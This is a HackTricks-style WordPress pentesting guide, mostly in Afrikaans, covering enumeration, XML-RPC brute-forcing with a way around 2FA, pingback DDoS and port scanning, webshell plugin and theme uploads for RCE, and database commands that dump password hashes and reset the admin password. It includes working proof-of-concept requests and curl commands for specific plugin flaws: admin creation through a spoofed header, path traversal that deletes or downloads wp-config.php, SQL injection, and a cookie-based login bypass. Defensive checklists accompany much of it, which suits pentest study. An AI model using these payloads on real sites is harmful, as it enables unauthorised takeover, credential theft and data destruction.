Wordpress
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
-
Uploaded lĂȘers gaan na:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Themes files can be found in /wp-content/themes/, so if you change some php of the theme to get RCE you probably will use that path. For example: Using theme twentytwelve you can access the 404.php file in: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
In wp-config.php kan jy die root-wagwoord van die databasis vind.
-
Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.phplicense.txtbevat nuttige inligting soos die WordPress weergawe wat geĂŻnstalleer is.wp-activate.phpword gebruik vir die e-pos-aktiveringsproses wanneer ân nuwe WordPress-webwerf opgestel word.- Login folders (may be renamed to hide it):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.phpis ân lĂȘer wat ân funksie van WordPress voorstel wat toelaat dat data gestuur word met HTTP as die vervoermeganisme en XML as die enkoderingmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress REST API.- Die
wp-contentgids is die hoofgids waar plugins en temas gestoor word. wp-content/uploads/is die gids waar enige lĂȘers wat na die platform opgelaai is gestoor word.wp-includes/is die gids waar kernlĂȘers gestoor word, soos sertifikate, lettertipes, JavaScript-lĂȘers, en widgets.wp-sitemap.xmlIn WordPress weergawes 5.5 en later genereer WordPress ân sitemap XML-lĂȘer met alle publieke plasings en publiek navraagbare plasingsoorte en taksonomieĂ«.
Post exploitation
- Die
wp-config.phplĂȘer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasis-host, gebruikersnaam en wagwoord, verifikasiesleutels en -soute, en die databasis-tafelvoorvoegsel. Hierdie konfigurasielĂȘer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees by foutopsporing.
Gebruikerstoestemmings
- Administrator
- Editor: Publiseer en bestuur sy eie en ander se plasings
- Author: Publiseer en bestuur sy eie plasings
- Contributor: Skryf en bestuur sy plasings maar kan dit nie publiseer nie
- Subscriber: Blaai deur plasings en wysig hul profiel
Passive Enumeration
Get WordPress version
Kyk of jy die lĂȘers /license.txt of /readme.html kan vind
Inside the source code of the page (example from https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- CSS link-lĂȘers
.png)
- JavaScript-lĂȘers
.png)
Kry Inproppe
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Kry temas
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Onttrek weergawes in die algemeen
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktiewe enumerasie
Plugins and Themes
Jy sal waarskynlik nie in staat wees om al die Plugins en Themes te vind nie. Om almal te ontdek, sal jy actively Brute Force a list of Plugins and Themes moet uitvoer (hopelik is daar geautomatiseerde tools wat hierdie lyste bevat).
Gebruikers
- ID Brute: Jy kry geldige gebruikers van ân WordPress site deur Brute Forcing users IDs:
curl -s -I -X GET http://blog.example.com/?author=1
As die antwoorde 200 of 30X is, beteken dit dat die id geldig is. As die antwoord 400 is, dan is die id ongeldig.
- wp-json: Jy kan ook probeer om inligting oor die gebruikers te kry deur te query:
curl http://blog.example.com/wp-json/wp/v2/users
Nog ân /wp-json/ endpoint wat sommige inligting oor users kan openbaar is:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Let daarop dat hierdie endpoint slegs gebruikers openbaar wat ân post gemaak het. Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het sal voorsien word.
Neem ook kennis dat /wp-json/wp/v2/pages IP-adresse kan leak.
- Login username enumeration: Wanneer aan te meld by
/wp-login.phpis die boodskap verskillend, wat aandui of die username bestaan of nie.
XML-RPC
As xml-rpc.php aktief is, kan jy credentials brute-force uitvoer of dit gebruik om DoS-aanvalle teen ander hulpbronne te loods. (Jy kan hierdie proses byvoorbeeld outomatiseer deur hierdie te gebruik).
Om te sien of dit aktief is, probeer toegang tot /xmlrpc.php kry en stuur hierdie versoek:
Kontroleer
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Aanmeldbewyse Bruteforce
wp.getUserBlogs, wp.getCategories of metaWeblog.getUsersBlogs is ân paar van die metodes wat gebruik kan word om aanmeldbewyse te brute-force. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Die boodskap âIncorrect username or passwordâ binne ân 200 code response moet verskyn as die credentials nie geldig is nie.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
Deur die regte credentials te gebruik kan jy ân lĂȘer oplaai. In die response sal die pad verskyn (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Daar is ook ân vinnigere manier om inlogbesonderhede te brute-force gebruikende system.multicall, aangesien jy verskeie inlogbesonderhede in dieselfde versoek kan probeer:
.png)
Omseil 2FA
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud; daarom ondersteun dit nie 2FA nie. Dus, as jy geldige inlogbesonderhede het maar die hooftoegang is beskerm deur 2FA, mag jy xmlrpc.php misbruik om met daardie inlogbesonderhede in te teken en 2FA te omseil. Let daarop dat jy nie al die aksies wat jy deur die konsol kan doen sal kan uitvoer nie, maar jy kan steeds tot RCE raak soos Ippsec verduidelik in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS of port scanning
As jy die metode pingback.ping binne die lys kan vind, kan jy Wordpress laat ân ewekansige versoek na enige host/poort stuur.
Dit kan gebruik word om duisende Wordpress sites te vra om een lokasie te access (sodat ân DDoS by daardie lokasie veroorsaak word) of jy kan dit gebruik om Wordpress ân interne network te laat scan (jy kan enige poort aandui).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

As jy faultCode kry met ân waarde groter as 0 (17), beteken dit die poort is oop.
Kyk na die gebruik van system.multicall in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
Hierdie lĂȘer bestaan gewoonlik in die wortel van die Wordpress-webwerf: /wp-cron.php
Wanneer hierdie lĂȘer geopen word, word ân âswareâ MySQL query uitgevoer, dus kan dit deur attackers gebruik word om ân DoS te veroorsaak.
Verder word standaard die wp-cron.php by elke bladsy-laai aangeroep (enige keer ân kliĂ«nt enige Wordpress-bladsy versoek), wat op webwerwe met hoĂ« verkeer probleme (DoS) kan veroorsaak.
Dit word aanbeveel om Wp-Cron uit te skakel en ân werklike cronjob op die host te skep wat die nodige aksies op gereelde intervalle uitvoer (sonder om probleme te veroorsaak).
/wp-json/oembed/1.0/proxy - SSRF
Probeer om toegang te kry tot https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net en die Wordpress-webwerf mag ân versoek na jou stuur.
This is the response when it doesnât work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Hierdie tool checks if the methodName: pingback.ping and for the path /wp-json/oembed/1.0/proxy and if exists, it tries to exploit them.
Outomatiese Gereedskap
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Kry toegang deur ân bit oor te skryf
Dit is meer ân nuuskierigheid as ân werklike aanval. In die CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man kon jy 1 bit van enige wordpress-lĂȘer omdraai. Dus kon jy die posisie 5389 van die lĂȘer /var/www/html/wp-includes/user.php omdraai om die NOT (!) operasie te NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Wysig ân php-lĂȘer van die gebruikte theme (admin credentials nodig)
Appearance â Theme Editor â 404 Template (aan die regterkant)
Verander die inhoud na ân php shell:
.png)
Soek op die internet hoe jy daardie opgedateerde bladsy kan bereik. In hierdie geval moet jy hierdie adres besoek: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Jy kan gebruik:
use exploit/unix/webapp/wp_admin_shell_upload
om ân session te kry.
Plugin RCE
PHP plugin
Dit kan moontlik wees om .php-lĂȘers as ân plugin op te laai.
Skep jou php backdoor byvoorbeeld soos:
.png)
Voeg dan ân nuwe plugin by:
.png)
Laai die plugin op en druk Install Now:
.png)
Klik op Procced:
.png)
Waarskynlik sal dit niks doen nie, maar as jy na Media gaan, sal jy jou shell sien opgelaai:
.png)
Toegang daartoe en jy sal die URL sien om die reverse shell uit te voer:
.png)
Uploading and activating malicious plugin
Hierdie metode behels die installasie van ân kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om ân web shell te bekom. Hierdie proses word deur die WordPress dashboard uitgevoer soos volg:
- Plugin Acquisition: Die plugin word verkry van ân bron soos Exploit DB, byvoorbeeld here.
- Plugin Installation:
- Navigeer na die WordPress dashboard, dan gaan na
Dashboard > Plugins > Upload Plugin. - Laai die zip-lĂȘer van die afgelaaide plugin op.
- Plugin Activation: Sodra die plugin suksesvol geĂŻnstalleer is, moet dit deur die dashboard geaktiveer word.
- Exploitation:
- Met die plugin âreflex-galleryâ geĂŻnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
- Die Metasploit framework bied ân exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan ân meterpreter session gevestig word, wat ongemagtigde toegang tot die webwerf gee.
- Dit word opgemerk dat dit net een van die vele metodes is om ân WordPress-webwerf uit te buit.
Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress dashboard vir die installering en aktivering van die plugin uitbeeld. Dit is egter belangrik om te noem dat die uitbuiting van kwesbaarhede op hierdie wyse onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in ân wettige konteks, soos pentesting met uitdruklike toestemming.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
Van XSS na RCE
- WPXStrike: WPXStrike is ân script ontwerp om ân Cross-Site Scripting (XSS) kwetsbaarheid op te skaal na Remote Code Execution (RCE) of ander kritieke kwesbaarhede in WordPress. Vir meer inligting sien this post. Dit bied support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Skep ân gebruiker in WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Laai jou custom plugin (backdoor) na WordPress op.
- (RCE) Built-In Plugin Edit: Wysig ân Built-In Plugin in WordPress.
- (RCE) Built-In Theme Edit: Wysig ân Built-In Theme in WordPress.
- (Custom) Custom Exploits: Custom Exploits vir derdeparty WordPress plugins/themes.
Post Exploitation
Haal gebruikersname en wagwoorde uit:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Verander admin-wagwoord:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Attack Surface
Om te weet hoe ân Wordpress plugin funksionaliteit kan blootstel is noodsaaklik om kwesbaarhede in daardie funksionaliteit te vind. Jy kan sien hoe ân plugin funksionaliteit kan blootstel in die volgende punte en ân paar voorbeelde van kwesbare plugins in this blog post.
wp_ajax
Een van die maniere waarop ân plugin funksies aan gebruikers kan blootstel is via AJAX handlers. Hierdie kan logic-, authorization- of authentication-bugs bevat. Verder gebeur dit gereeld dat hierdie funksies beide authentication en authorization baseer op die bestaan van ân wordpress nonce wat enige gebruiker wat in die Wordpress instance geauthentiseer is mag hĂȘ (onafhanklik van hul rol).
Dit is die funksies wat gebruik kan word om ân funksie in ân plugin bloot te stel:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Die gebruik van nopriv maak die endpoint toeganklik vir enige gebruikers (selfs nie-geauthentiseerde gebruikers).
Caution
Daarbenewens, as die funksie slegs die autorisasie van die gebruiker nagaan met die funksie
wp_verify_nonce, kontroleer hierdie funksie slegs of die gebruiker aangemeld is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus kan lae-geprivilegieerde gebruikers toegang hĂȘ tot hoog-geprivilegieerde aksies.
- REST API
Dit is ook moontlik om funksies van wordpress bloot te stel deur ân REST API te registreer met die funksie register_rest_route:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Die permission_callback is ân callback-funksie wat kontroleer of ân gegewe gebruiker gemagtig is om die API-metode aan te roep.
As die ingeboude __return_true funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.
- Direkte toegang tot die PHP-lĂȘer
Natuurlik gebruik Wordpress PHP en lĂȘers binne plugins is direk vanaf die web toeganklik. Dus, as ân plugin enige kwesbare funksionaliteit blootstel wat slegs deur toegang tot die lĂȘer getrigger word, sal dit deur enige gebruiker uitgebuit kan word.
Trusted-header REST impersonation (WooCommerce Payments †5.6.1)
Sommige plugins implementeer âtrusted headerâ-kortpaaie vir interne integrasies of reverse proxies en gebruik daardie header om die huidige gebruikerskonteks vir REST-versoeke te stel. As die header nie kriptografies aan die versoek gebind is deur ân upstream-komponent nie, kan ân aanvaller dit spoof en gemagtigde REST-roetes as ân administrator bereik.
- Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1(dwing gebruiker-ID 1 af, tipies die eerste administrateurrekening). - Exploited route:
POST /wp-json/wp/v2/userswith an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Waarom dit werk
- Die plugin map ân client-controlled header na authentication state en slaan capability checks oor.
- WordPress core verwag
create_userscapability vir hierdie roete; die plugin hack omseil dit deur die current user context direk vanaf die header te stel.
Verwagte sukses-aanwysers
- HTTP 201 met ân JSON-body wat die geskepte gebruiker beskryf.
- ân nuwe admin gebruiker sigbaar in
wp-admin/users.php.
Opsporingskontrolelys
- Grep vir
getallheaders(),$_SERVER['HTTP_...'], of vendor SDKs wat custom headers lees om user context te stel (bv.wp_set_current_user(),wp_set_auth_cookie()). - Hersien REST-registrasies vir bevoorregte callbacks wat nie robuuste
permission_callbackkontroles het nie en eerder op request headers staatmaak. - Soek na gebruike van core user-management funksies (
wp_insert_user,wp_create_user) binne REST handlers wat slegs deur header-waardes beperk word.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress temas en plugins maak gereeld AJAX handlers beskikbaar deur die wp_ajax_ en wp_ajax_nopriv_ hooks. Wanneer die nopriv variant gebruik word word die callback deur nie-geauthentiseerde besoekers bereikbaar, dus moet enige sensitiewe aksie bykomend die volgende implementeer:
- ân capability check (bv.
current_user_can()of ten minsteis_user_logged_in()), en - ân CSRF nonce gevalideer met
check_ajax_referer()/wp_verify_nonce(), en - Streng invoer-sanitisasie / validasie.
Die Litho multipurpose theme (< 3.1) het daardie 3 kontroles in die Remove Font Family funksie vergeet en het uiteindelik die volgende kode (vereenvoudig) meegestuur:
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Probleme wat deur hierdie kodefragment veroorsaak word:
- Ongeverifieerde toegang â die
wp_ajax_nopriv_hook is geregistreer. - Geen nonce / capability check â enige besoeker kan die endpoint aanroep.
- Geen pad-sanitisasie â die gebruikersbeheerde
fontfamilystring word aan ân lĂȘerstelselpad gekonkateneer sonder filtrering, wat klassieke../../traversal toelaat.
Exploitation
ân aanvaller kan enige lĂȘer of gids onder die uploads base directory (gewoonlik <wp-root>/wp-content/uploads/) uitvee deur ân enkele HTTP POST versoek te stuur:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Omdat wp-config.php buite uploads lĂȘ, is vier ../ reekse genoeg op ân standaard installasie. Deleting wp-config.php dwing WordPress by die volgende besoek in die installasie-wizard, wat ân volledige site take-over moontlik maak (die aanvaller verskaf net ân nuwe DB-konfigurasie en skep ân admin-gebruiker).
Ander impakvolle teikens sluit plugin/theme .php-lĂȘers (om sekuriteits-plugins te breek) of .htaccess reĂ«ls in.
Opsporingskontrollys
- Enige
add_action( 'wp_ajax_nopriv_...')callback wat filesystem helpers oproep (copy(),unlink(),$wp_filesystem->delete(), ens.). - Samevoeging van nie-gefiltreerde gebruikersinsette in paaie (kyk vir
$_POST,$_GET,$_REQUEST). - Afwesigheid van
check_ajax_referer()encurrent_user_can()/is_user_logged_in().
Privilege escalation via stale role restoration and missing authorization (ASE âView Admin as Roleâ)
Baie plugins implementeer ân âview as roleâ of tydelike rolwissel-funksie deur die oorspronklike rol(le) in user meta te stoor sodat dit later herstel kan word. As die herstelpad slegs op request parameters (bv. $_REQUEST['reset-for']) en ân plugin-onderhoude lys staatmaak sonder om capabilities en ân geldige nonce te verifieer, word dit ân vertical privilege escalation.
ân Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (†7.6.2.1). Die reset-branch herstel rolle gebaseer op reset-for=<username> as die gebruikersnaam in ân interne array $options['viewing_admin_as_role_are'] verskyn het, maar het nie ân current_user_can() kontrole uitgevoer nie en ook nie ân nonce-verifikasie gedoen voordat die huidige rolle verwyder en die gestoor rolle uit user meta _asenha_view_admin_as_original_roles weer bygevoeg is:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Hoekom dit uitbuitbaar is
- Vertrou
$_REQUEST['reset-for']en ân plugin-opsie sonder magtiging aan die bedienerzijde. - As ân gebruiker voorheen hoĂ«r voorregte gehad het wat in
_asenha_view_admin_as_original_rolesgestoor is en afgradeer is, kan hulle dit herstel deur die reset-pad te gebruik. - In sommige ontplooiings kan enige geverifieerde gebruiker ân reset veroorsaak vir ân ander gebruikersnaam wat nog in
viewing_admin_as_role_areteenwoordig is (gebreekte magtiging).
Uitbuiting (voorbeeld)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Op kwesbare weergawes verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle (bv. administrator) weer by, wat effektief privilegieë eskaleer.
Opsporingskontrolelys
- Kyk na rol-wissel funksies wat âoriginal rolesâ in user meta behou (bv.
_asenha_view_admin_as_original_roles). - Identifiseer reset/restore-paaie wat:
- Lees gebruikersname uit
$_REQUEST/$_GET/$_POST. - Wysig rolle via
add_role()/remove_role()sondercurrent_user_can()enwp_verify_nonce()/check_admin_referer(). - Machtig gebaseer op ân plugin-opsie-array (bv.
viewing_admin_as_role_are) in plaas van die akteur se bevoegdhede.
Ongeauthentiseerde privilegie-eskalering via koekieâvertroude gebruikerswisseling op openbare init (Service Finder âsf-bookingâ)
Sommige plugins koppel hulpfunksies vir gebruikerswisseling aan die openbare init hook en bepaal identiteit uit ân kliĂ«nt-beheerde koekie. As die kode wp_set_auth_cookie() aanroep sonder om authentisering, bevoegdhede en ân geldige nonce te verifieer, kan enige ongeauthentiseerde besoeker dwing om in te teken as ân ewekansige gebruikers-ID.
Tipiese kwesbare patroon (vereenvoudig uit Service Finder Bookings †6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // đ„ sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Waarom dit uitbuitbaar is
- Publieke
inithook maak die handler bereikbaar vir ongeauthentiseerde gebruikers (geenis_user_logged_in()kontrole). - Identiteit word afgelei van ân deur die kliĂ«nt wysigbare cookie (
original_user_id). - Direkte oproep na
wp_set_auth_cookie($uid)meld die versoeker aan as daardie gebruiker sonder enige capability/nonce kontroles.
Exploitation (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF-oorwegings vir WordPress/plugin CVEs
Generiese edge/server WAFs is gekalibreer vir breĂ« patrone (SQLi, XSS, LFI). Baie hoĂ«âimpak WordPress/pluginâfoute is aansoekâspesifieke logika/authâbugs wat soos onskuldige verkeer lyk tensy die engine WordPressâroetes en pluginâsemantiek verstaan.
Offensiewe notas
- Teiken pluginâspesifieke eindpunte met skoon payloads:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - Gebruik eers unauthâpade (AJAX
nopriv, REST met permissiewepermission_callback, publieke shortcodes). Standaard payloads slaag dikwels sonder obfuskasie. - Tipiese hoĂ«âimpak gevalle: privilege escalation (broken access control), arbitĂȘre lĂȘerâupload/download, LFI, open redirect.
Verdedigende notas
- Moet nie staatmaak op generiese WAFâhandtekeninge om plugin CVEs te beskerm nie. Implementeer toepassingslaag, kwesbaarheidâspesifieke virtuele pleisters of werk vinnig op.
- Verkies positiveâsecurity kontroles in kode (capabilities, nonces, streng invoerâvalidasie) bo negatiewe regexâfilters.
WordPress-beskerming
Gereelde opdaterings
Maak seker WordPress, plugins en themes is op datum. Bevestig ook dat geoutomatiseerde opdatering in wp-config.php aangeskakel is:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Installeer ook slegs betroubare WordPress-plugins en -themes.
Sekuriteits-plugins
Ander Aanbevelings
- Verwyder die standaard admin gebruiker
- Gebruik sterk wagwoorde en 2FA
- Hersien periodiek gebruikers se permissions
- Beperk aanmeldpogings om Brute Force-aanvalle te voorkom
- Hernoem die
wp-admin.phplĂȘer en laat slegs toegang toe vanaf interne netwerke of van sekere IP-adresse.
Nie-geauthentiseerde SQL Injection as gevolg van onvoldoende validering (WP Job Portal <= 2.3.2)
Die WP Job Portal recruitment plugin het ân savecategory taak blootgestel wat uiteindelik die volgende kwesbare kode binne modules/category/model.php::validateFormData() uitvoer:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat â
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Probleme wat deur hierdie snipet geskep word:
- Ongefiltreerde gebruikersinvoer â
parentidkom direk uit die HTTP-versoek. - String-samevoeging binne die WHERE-clausule â geen
is_numeric()/esc_sql()/ prepared statement. - Unauthenticated reachability â alhoewel die aksie uitgevoer word deur
admin-post.php, is die enigste kontrole in plek ân CSRF nonce (wp_verify_nonce()), wat enige besoeker kan bekom vanaf ân openbare bladsy wat die shortcode[wpjobportal_my_resumes]insluit.
Exploitation
- Haal ân vars nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Inject arbitrary SQL by abusing
parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Die reaksie openbaar die resultaat van die ingespuite navraag of verander die databasis, wat SQLi bewys.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Nog ân taak, downloadcustomfile, het besoekers toegelaat om enige lĂȘer op die skyf af te laai via path traversal. Die kwesbare sink is geleĂ« in modules/customfield/model.php::downloadCustomUploadedFile():
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name is deur ân aanvaller beheer en aaneengekoppel sonder sanitisering. Weereens is die enigste hek ân CSRF nonce wat vanaf die CV-bladsy verkry kan word.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Die bediener reageer met die inhoud van wp-config.php, leaking DB credentials and auth keys.
Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Baie themes/plugins lewer âsocial loginâ helpers wat via admin-ajax.php blootgestel word. As an unauthenticated AJAX action (wp_ajax_nopriv_âŠ) client-supplied identifiers vertrou wanneer provider data ontbreek en dan wp_set_auth_cookie() aanroep, word dit ân full authentication bypass.
Tipiese foutiewe patroon (vereenvoudigde weergawe)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider â execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // đ„ logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Waarom dit uitbuitbaar is
- Nie-geauthentiseerde bereikbaarheid via admin-ajax.php (wp_ajax_nopriv_⊠action).
- Geen nonce/capability kontroles voordat ân staat verander word.
- Geen OAuth/OpenID provider verifikasie; die default branch aanvaar attacker-invoer.
